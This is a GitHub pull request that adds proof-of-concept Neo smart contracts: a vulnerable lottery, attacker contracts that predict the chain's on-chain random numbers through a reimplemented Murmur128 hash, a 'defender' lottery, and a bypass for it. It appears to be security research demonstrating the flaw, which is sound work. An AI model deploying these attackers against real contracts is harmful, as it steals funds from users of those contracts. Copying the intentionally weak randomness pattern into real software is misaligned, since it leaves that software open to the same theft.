-
Notifications
You must be signed in to change notification settings - Fork 2
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
add pick-before-use attack example #22
Merged
Merged
Changes from all commits
Commits
Show all changes
6 commits
Select commit
Hold shift + click to select a range
File filter
Filter by extension
Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,27 @@ | ||
using System.ComponentModel; | ||
using System.Numerics; | ||
using Neo; | ||
using Neo.SmartContract.Framework; | ||
using Neo.SmartContract.Framework.Attributes; | ||
using Neo.SmartContract.Framework.Native; | ||
using Neo.SmartContract.Framework.Services; | ||
|
||
namespace Lottery | ||
{ | ||
[DisplayName("Lottery")] | ||
[ManifestExtra("Author", "NEO")] | ||
[ManifestExtra("Email", "developer@neo.org")] | ||
[ManifestExtra("Description", "This is a Lottery. Send 1 NEO and you will probably get 2 NEO.")] | ||
public class Lottery : SmartContract | ||
{ | ||
public static void OnNEP17Payment(UInt160 from, BigInteger amount, object data) | ||
{ | ||
if (Runtime.CallingScriptHash == NEO.Hash && amount == 1) | ||
{ | ||
if (Runtime.GetRandom() % 2 == 1) { | ||
ExecutionEngine.Assert(NEO.Transfer(Runtime.ExecutingScriptHash, from, 2, data)); | ||
} | ||
} | ||
} | ||
} | ||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,12 @@ | ||
<Project Sdk="Microsoft.NET.Sdk"> | ||
<PropertyGroup> | ||
<TargetFramework>net6.0</TargetFramework> | ||
</PropertyGroup> | ||
<ItemGroup> | ||
<PackageReference Include="Neo3.Compiler.CSharp.Dev" Version="3.1.0" /> | ||
<PackageReference Include="Neo.SmartContract.Framework" Version="3.1.0" /> | ||
</ItemGroup> | ||
<Target Name="PostBuild" AfterTargets="PostBuildEvent"> | ||
<Exec Command="$(neon3) $(ProjectDir)" /> | ||
</Target> | ||
</Project> |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,65 @@ | ||
using System; | ||
using System.ComponentModel; | ||
using System.Numerics; | ||
using Neo; | ||
using Neo.SmartContract; | ||
using Neo.SmartContract.Framework; | ||
using Neo.SmartContract.Framework.Attributes; | ||
using Neo.SmartContract.Framework.Native; | ||
using Neo.SmartContract.Framework.Services; | ||
|
||
namespace LotteryAttacker | ||
{ | ||
[DisplayName("LotteryAttacker")] | ||
[ManifestExtra("Author", "NEO")] | ||
[ManifestExtra("Email", "developer@neo.org")] | ||
[ManifestExtra("Description", "This is a LotteryAttacker")] | ||
public class LotteryAttacker : SmartContract | ||
{ | ||
[InitialValue("NQpRgzN6TVoJ7MMTVsHzvvrfidgjtJNEdo", ContractParameterType.Hash160)] | ||
private static readonly UInt160 Lottery = default; | ||
[DisplayName("Predicated")] | ||
public static event PredicatedEvent onPredicated; | ||
public delegate void PredicatedEvent(BigInteger rand); | ||
[DisplayName("RealRandom")] | ||
public static event RealRandomEvent onRealRandom; | ||
public delegate void RealRandomEvent(BigInteger rand); | ||
|
||
public static void Predicate() { | ||
BigInteger rand = Runtime.GetRandom(); | ||
for (int i = 0; i < 10; i++) { | ||
byte[] nextrand = murmur128(rand.ToByteArray().Concat(new byte[]{0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00}).Take(16), Runtime.GetNetwork()); | ||
onPredicated(new BigInteger(nextrand.Concat(new byte[]{0x00}))); | ||
rand = Runtime.GetRandom(); | ||
onRealRandom(rand); | ||
} | ||
} | ||
|
||
public static void OnNEP17Payment(UInt160 from, BigInteger amount, object data) | ||
{ | ||
} | ||
|
||
public static int Attack() { | ||
BigInteger rand = Runtime.GetRandom(); | ||
for (int i = 0; i < 10; i++) { | ||
byte[] nextrand = murmur128(rand.ToByteArray().Concat(new byte[]{0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00}).Take(16), Runtime.GetNetwork()); | ||
if ((new BigInteger(nextrand)) % 2 == 1) { | ||
ExecutionEngine.Assert(NEO.Transfer(Runtime.ExecutingScriptHash, Lottery, 1, null)); | ||
return i; | ||
} | ||
rand = Runtime.GetRandom(); | ||
} | ||
return 0; | ||
} | ||
|
||
public static void Update(ByteString nefFile, string manifest) | ||
{ | ||
ContractManagement.Update(nefFile, manifest, null); | ||
} | ||
|
||
public static byte[] murmur128(byte[] nonceData, uint seed) { | ||
ExecutionEngine.Assert(nonceData.Length == 16, "invalid nonce length"); | ||
return Murmur128.Hash(nonceData, seed); | ||
} | ||
} | ||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,12 @@ | ||
<Project Sdk="Microsoft.NET.Sdk"> | ||
<PropertyGroup> | ||
<TargetFramework>net6.0</TargetFramework> | ||
</PropertyGroup> | ||
<ItemGroup> | ||
<PackageReference Include="Neo3.Compiler.CSharp.Dev" Version="3.1.0" /> | ||
<PackageReference Include="Neo.SmartContract.Framework" Version="3.1.0" /> | ||
</ItemGroup> | ||
<Target Name="PostBuild" AfterTargets="PostBuildEvent"> | ||
<Exec Command="$(neon3) $(ProjectDir)" /> | ||
</Target> | ||
</Project> |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,78 @@ | ||
using System.Numerics; | ||
using Neo.SmartContract.Framework; | ||
using System.ComponentModel; | ||
|
||
namespace LotteryAttacker | ||
{ | ||
public class Murmur128 | ||
{ | ||
private const ulong c1 = 0x87c37b91114253d5; | ||
private const ulong c2 = 0x4cf5ad432745937f; | ||
private const int r1 = 31; | ||
private const int r2 = 33; | ||
private const uint m = 5; | ||
private const uint n1 = 0x52dce729; | ||
private const uint n2 = 0x38495ab5; | ||
|
||
public static byte[] Hash(byte[] array, uint seed) | ||
{ | ||
ulong H1 = seed; | ||
ulong H2 = seed; | ||
ulong k1 = (ulong)new BigInteger(array.Take(8).Concat(new byte[] { 0x00 })); | ||
k1 *= c1; | ||
k1 &= 0xffffffffffffffff; | ||
k1 = RotateLeft(k1, r1); | ||
k1 *= c2; | ||
k1 &= 0xffffffffffffffff; | ||
H1 ^= k1; | ||
H1 = RotateLeft(H1, 27); | ||
H1 += H2; | ||
H1 &= 0xffffffffffffffff; | ||
H1 = H1 * m + n1; | ||
H1 &= 0xffffffffffffffff; | ||
ulong k2 = (ulong)new BigInteger(array.Last(8).Concat(new byte[] { 0x00 })); | ||
k2 *= c2; | ||
k2 &= 0xffffffffffffffff; | ||
k2 = RotateLeft(k2, r2); | ||
k2 *= c1; | ||
k2 &= 0xffffffffffffffff; | ||
H2 ^= k2; | ||
H2 = RotateLeft(H2, 31); | ||
H2 += H1; | ||
H2 &= 0xffffffffffffffff; | ||
H2 = H2 * m + n2; | ||
H2 &= 0xffffffffffffffff; | ||
ulong len = (ulong)array.Length; | ||
H1 ^= len; | ||
H2 ^= len; | ||
H1 += H2; | ||
H1 &= 0xffffffffffffffff; | ||
H2 += H1; | ||
H2 &= 0xffffffffffffffff; | ||
H1 = FMix(H1); | ||
H2 = FMix(H2); | ||
H1 += H2; | ||
H1 &= 0xffffffffffffffff; | ||
H2 += H1; | ||
H2 &= 0xffffffffffffffff; | ||
var first = ((BigInteger)H1).ToByteArray().Concat(new byte[] { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 }).Take(8); | ||
var second = ((BigInteger)H2).ToByteArray().Concat(new byte[] { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 }).Take(8); | ||
return first.Concat(second); | ||
} | ||
private static ulong FMix(ulong h) | ||
{ | ||
h = (h ^ (h >> 33)) * 0xff51afd7ed558ccd; | ||
h &= 0xffffffffffffffff; | ||
h = (h ^ (h >> 33)) * 0xc4ceb9fe1a85ec53; | ||
h &= 0xffffffffffffffff; | ||
return (h ^ (h >> 33)); | ||
} | ||
public static ulong RotateLeft(ulong value, int offset) | ||
=> ((value << offset) & 0xffffffffffffffff) | (value >> (64 - offset)); | ||
} | ||
} | ||
|
||
|
||
|
||
|
||
|
52 changes: 52 additions & 0 deletions
52
PoC/PickBeforeUse/LotteryWithDefender/LotteryWithDefender.cs
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,52 @@ | ||
using System.ComponentModel; | ||
using System.Numerics; | ||
using Neo; | ||
using Neo.SmartContract.Framework; | ||
using Neo.SmartContract.Framework.Attributes; | ||
using Neo.SmartContract.Framework.Native; | ||
using Neo.SmartContract.Framework.Services; | ||
|
||
namespace LotteryWithDefender | ||
{ | ||
[DisplayName("LotteryWithDefender")] | ||
[ManifestExtra("Author", "NEO")] | ||
[ManifestExtra("Email", "developer@neo.org")] | ||
[ManifestExtra("Description", "This is a LotteryWithDefender. Call play to earn NEO.")] | ||
public class LotteryWithDefender : SmartContract | ||
{ | ||
[DisplayName("Lottery")] | ||
public static event LotteryEvent onLottery; | ||
public delegate void LotteryEvent(ByteString name); | ||
|
||
public static void OnNEP17Payment(UInt160 from, BigInteger amount, object data) | ||
{ | ||
} | ||
|
||
public static void Play(ByteString name, UInt160 receiver) | ||
{ | ||
ExecutionEngine.Assert(Runtime.EntryScriptHash == Runtime.CallingScriptHash, "FAUD: Contract call is not allowed."); | ||
ExecutionEngine.Assert((((Transaction)Runtime.ScriptContainer).Script.Length <= name.Length + 60), "FAUD:Transaction script length error."); | ||
ExecutionEngine.Assert(name.Length <= 6, "FAUD:Long name is now allowed."); | ||
// the calling script should be | ||
// PUSHDATA1 ${name} (size = 2 + name.Length) | ||
// PUSHDATA1 receiver (size = 22) | ||
// PUSH1 (size = 1) | ||
// PACK (size = 1) | ||
// PUSH15 (size = 1) | ||
// PUSHDATA1 play (size = 6) | ||
// PUSHDATA1 0x726cb6e0cd8628a1350a611384688911ab75f51b (size = 22) | ||
// SYSCALL System.Contract.Call (size = 5) | ||
// example normal script: DAZhdHRhY2sMFAS4eMLY2Qfs8dcYmQ+QOGfFkqETEsAfDARwbGF5DBQb9XWrEYlohBNhCjWhKIbN4LZsckFifVtS | ||
|
||
if (Runtime.GetRandom() % 2 == 1) { | ||
ExecutionEngine.Assert(NEO.Transfer(Runtime.ExecutingScriptHash, receiver, 1, null)); | ||
onLottery(name); | ||
} | ||
} | ||
|
||
public static void Update(ByteString nefFile, string manifest) | ||
{ | ||
ContractManagement.Update(nefFile, manifest, null); | ||
} | ||
} | ||
} |
12 changes: 12 additions & 0 deletions
12
PoC/PickBeforeUse/LotteryWithDefender/LotteryWithDefender.csproj
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,12 @@ | ||
<Project Sdk="Microsoft.NET.Sdk"> | ||
<PropertyGroup> | ||
<TargetFramework>net6.0</TargetFramework> | ||
</PropertyGroup> | ||
<ItemGroup> | ||
<PackageReference Include="Neo3.Compiler.CSharp.Dev" Version="3.1.0" /> | ||
<PackageReference Include="Neo.SmartContract.Framework" Version="3.1.0" /> | ||
</ItemGroup> | ||
<Target Name="PostBuild" AfterTargets="PostBuildEvent"> | ||
<Exec Command="$(neon3) $(ProjectDir)" /> | ||
</Target> | ||
</Project> |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,12 @@ | ||
<lazy xmlns:a="Assembly" xmlns:b="Basic"> | ||
<!-- NEOVM v3.2.0 --> | ||
<!-- NEO v3.2.1 --> | ||
<!-- NEONODE v3.2.1 --> | ||
<!-- NEOMODULES v3.2.1 --> | ||
<a:bytes val="04b878c2d8d907ecf1d718990f903867c592a113" /> <!-- receiver = our address in little endian --> | ||
<a:string val="attack" /> <!-- name = attack --> | ||
<a:int val="2" /> | ||
<pack /> <!-- pack these two parameters --> | ||
<a:contractcall hash="0x3e462750e19bc09f64d44c4b0135081d9b2b7617" method="play" /> | ||
<!-- call the lottery's play --> | ||
</lazy> |
45 changes: 45 additions & 0 deletions
45
PoC/PickBeforeUse/LotteryWithDefenderAttacker/LotteryWithDefenderAttacker.cs
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,45 @@ | ||
using System; | ||
using System.ComponentModel; | ||
using System.Numerics; | ||
using Neo; | ||
using Neo.SmartContract; | ||
using Neo.SmartContract.Framework; | ||
using Neo.SmartContract.Framework.Attributes; | ||
using Neo.SmartContract.Framework.Native; | ||
using Neo.SmartContract.Framework.Services; | ||
|
||
namespace LotteryWithDefenderAttacker | ||
{ | ||
[DisplayName("LotteryWithDefenderAttacker")] | ||
[ManifestExtra("Author", "NEO")] | ||
[ManifestExtra("Email", "developer@neo.org")] | ||
[ManifestExtra("Description", "This is a LotteryWithDefenderAttacker")] | ||
public class LotteryWithDefenderAttacker : SmartContract | ||
{ | ||
[InitialValue("NLLvsqs7AyBNmQT6NThUxYWDFwV5b1evaK", ContractParameterType.Hash160)] | ||
private static readonly UInt160 Owner = default; | ||
|
||
public static ByteString[] a() { | ||
BigInteger rand = Runtime.GetRandom(); | ||
for (int i = 0; i < 10; i++) { | ||
byte[] nextrand = murmur128(rand.ToByteArray().Concat(new byte[]{0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00}).Take(16), Runtime.GetNetwork()); | ||
if ((new BigInteger(nextrand)) % 2 == 1) { | ||
return new ByteString[] {"attack", Owner}; | ||
} | ||
rand = Runtime.GetRandom(); | ||
} | ||
ExecutionEngine.Abort(); | ||
return new ByteString[] {"attack", Owner}; | ||
} | ||
|
||
public static void Update(ByteString nefFile, string manifest) | ||
{ | ||
ContractManagement.Update(nefFile, manifest, null); | ||
} | ||
|
||
public static byte[] murmur128(byte[] nonceData, uint seed) { | ||
ExecutionEngine.Assert(nonceData.Length == 16, "invalid nonce length"); | ||
return Murmur128.Hash(nonceData, seed); | ||
} | ||
} | ||
} |
12 changes: 12 additions & 0 deletions
12
PoC/PickBeforeUse/LotteryWithDefenderAttacker/LotteryWithDefenderAttacker.csproj
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,12 @@ | ||
<Project Sdk="Microsoft.NET.Sdk"> | ||
<PropertyGroup> | ||
<TargetFramework>net6.0</TargetFramework> | ||
</PropertyGroup> | ||
<ItemGroup> | ||
<PackageReference Include="Neo3.Compiler.CSharp.Dev" Version="3.1.0" /> | ||
<PackageReference Include="Neo.SmartContract.Framework" Version="3.1.0" /> | ||
</ItemGroup> | ||
<Target Name="PostBuild" AfterTargets="PostBuildEvent"> | ||
<Exec Command="$(neon3) $(ProjectDir)" /> | ||
</Target> | ||
</Project> |
Oops, something went wrong.
Add this suggestion to a batch that can be applied as a single commit.
This suggestion is invalid because no changes were made to the code.
Suggestions cannot be applied while the pull request is closed.
Suggestions cannot be applied while viewing a subset of changes.
Only one suggestion per line can be applied in a batch.
Add this suggestion to a batch that can be applied as a single commit.
Applying suggestions on deleted lines is not supported.
You must change the existing code in this line in order to create a valid suggestion.
Outdated suggestions cannot be applied.
This suggestion has been applied or marked resolved.
Suggestions cannot be applied from pending reviews.
Suggestions cannot be applied on multi-line comments.
Suggestions cannot be applied while the pull request is queued to merge.
Suggestion cannot be applied right now. Please check back later.
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
EntryScritptHash is the hash of the transaction script, then, we might need to manually verify the format of the script. Check the first few bytes mabye?
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Yes. I think
gleeder
's check is better. It checks every bit in the tx's script.